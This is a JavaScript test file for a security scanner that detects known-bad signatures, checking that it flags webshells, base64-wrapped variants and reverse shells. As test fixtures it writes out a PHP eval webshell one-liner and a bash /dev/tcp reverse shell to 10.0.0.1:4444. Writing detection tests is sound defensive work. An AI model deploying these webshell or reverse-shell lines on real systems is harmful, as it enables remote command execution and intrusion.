llm-security/tests/scanners/signature-scanner.test.mjs

// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
// Fixtures in tests/fixtures/signature-scan/:
//   - clean/    : benign prose that merely mentions "shell" (0 findings expected)
//   - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
//                 differentiator), and a /dev/tcp reverse shell

import { describe, it, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/signature-scanner.mjs';

const __dirname = fileURLToPath(new URL('.', import.meta.url));
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');

// ---------------------------------------------------------------------------
// Clean — benign prose, no known-bad identity
// ---------------------------------------------------------------------------

describe('signature-scanner: clean', () => {
  let discovery;

  beforeEach(async () => {
    resetCounter();
    discovery = await discoverFiles(CLEAN_FIXTURE);
  });

  it('returns status ok', async () => {
    const result = await scan(CLEAN_FIXTURE, discovery);
    assert.equal(result.status, 'ok');
  });

  it('produces 0 findings for benign prose mentioning "shell"', async () => {
    const result = await scan(CLEAN_FIXTURE, discovery);
    assert.equal(
      result.findings.length, 0,
      `Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
    );
  });
});

// ---------------------------------------------------------------------------
// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
// ---------------------------------------------------------------------------

describe('signature-scanner: poisoned', () => {
  let discovery;

  beforeEach(async () => {
    resetCounter();
    discovery = await discoverFiles(POISONED_FIXTURE);
  });

  it('returns status ok', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    assert.equal(result.status, 'ok');
  });

  it('all findings carry DS-SIG- ids and scanner SIG', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
    assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
  });

  it('flags the raw PHP webshell', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const ws = result.findings.filter(f => f.file.includes('webshell.php'));
    assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
    assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
  });

  it('flags the base64-wrapped webshell via the decode pipeline', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
    assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
  });

  it('flags the /dev/tcp reverse shell', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    const rev = result.findings.find(f => f.file.includes('revshell.sh'));
    assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
  });

  it('all findings have required fields', async () => {
    const result = await scan(POISONED_FIXTURE, discovery);
    assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
    for (const f of result.findings) {
      assert.ok(f.id, 'missing id');
      assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
      assert.ok(f.severity, `${f.id} missing severity`);
      assert.ok(f.title, `${f.id} missing title`);
      assert.ok(f.description, `${f.id} missing description`);
      assert.ok(f.file, `${f.id} missing file`);
      assert.ok(f.owasp, `${f.id} missing owasp`);
    }
  });
});

// ---------------------------------------------------------------------------
// Hygiene — must not flag its own ruleset / test / docs paths when scanning
// a project root that contains them
// ---------------------------------------------------------------------------

describe('signature-scanner: path exclusions', () => {
  it('does not scan knowledge/, tests/, or docs/ paths', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
    try {
      for (const sub of ['knowledge', 'tests', 'docs']) {
        mkdirSync(join(dir, sub), { recursive: true });
        // A file that WOULD match a webshell signature, but lives in an excluded dir.
        writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
      }
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});

// ---------------------------------------------------------------------------
// Wiring — OWASP map + orchestrator registration (Step 4)
// ---------------------------------------------------------------------------

describe('signature-scanner: OWASP map registration', () => {
  it('SIG is present in all four OWASP maps with the right codes', async () => {
    const { OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP } =
      await import('../../scanners/lib/severity.mjs');
    assert.deepEqual(OWASP_MAP.SIG, ['LLM03', 'LLM02']);
    assert.deepEqual(OWASP_AGENTIC_MAP.SIG, ['ASI04']);
    assert.deepEqual(OWASP_SKILLS_MAP.SIG, []);
    assert.deepEqual(OWASP_MCP_MAP.SIG, []);
  });
});

describe('signature-scanner: orchestrator registration', () => {
  it('scan-orchestrator imports and lists the SIG scanner', () => {
    const orchPath = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
    const text = readFileSync(orchPath, 'utf8');
    assert.match(text, /import\s+\{\s*scan as sigScan\s*\}\s+from\s+['"]\.\/signature-scanner\.mjs['"]/);
    assert.match(text, /\{\s*name:\s*'sig',\s*fn:\s*sigScan\s*\}/);
  });
});

// ---------------------------------------------------------------------------
// Policy — disabling a family suppresses only that family's findings (Step 4)
// ---------------------------------------------------------------------------

describe('signature-scanner: family disable', () => {
  it('disabling "webshell" suppresses webshell findings but keeps reverse_shell', async () => {
    const dir = mkdtempSync(join(tmpdir(), 'sig-family-'));
    try {
      mkdirSync(join(dir, '.llm-security'), { recursive: true });
      writeFileSync(
        join(dir, '.llm-security', 'policy.json'),
        JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
      );
      writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
      writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
      resetCounter();
      const discovery = await discoverFiles(dir);
      const result = await scan(dir, discovery);
      const families = result.findings.map(f => f.evidence);
      assert.ok(!families.some(e => /\[webshell\]/.test(e)), `webshell family should be suppressed, got: ${families.join('; ')}`);
      assert.ok(families.some(e => /\[reverse_shell\]/.test(e)), `reverse_shell should still fire, got: ${families.join('; ')}`);
    } finally {
      rmSync(dir, { recursive: true, force: true });
    }
  });
});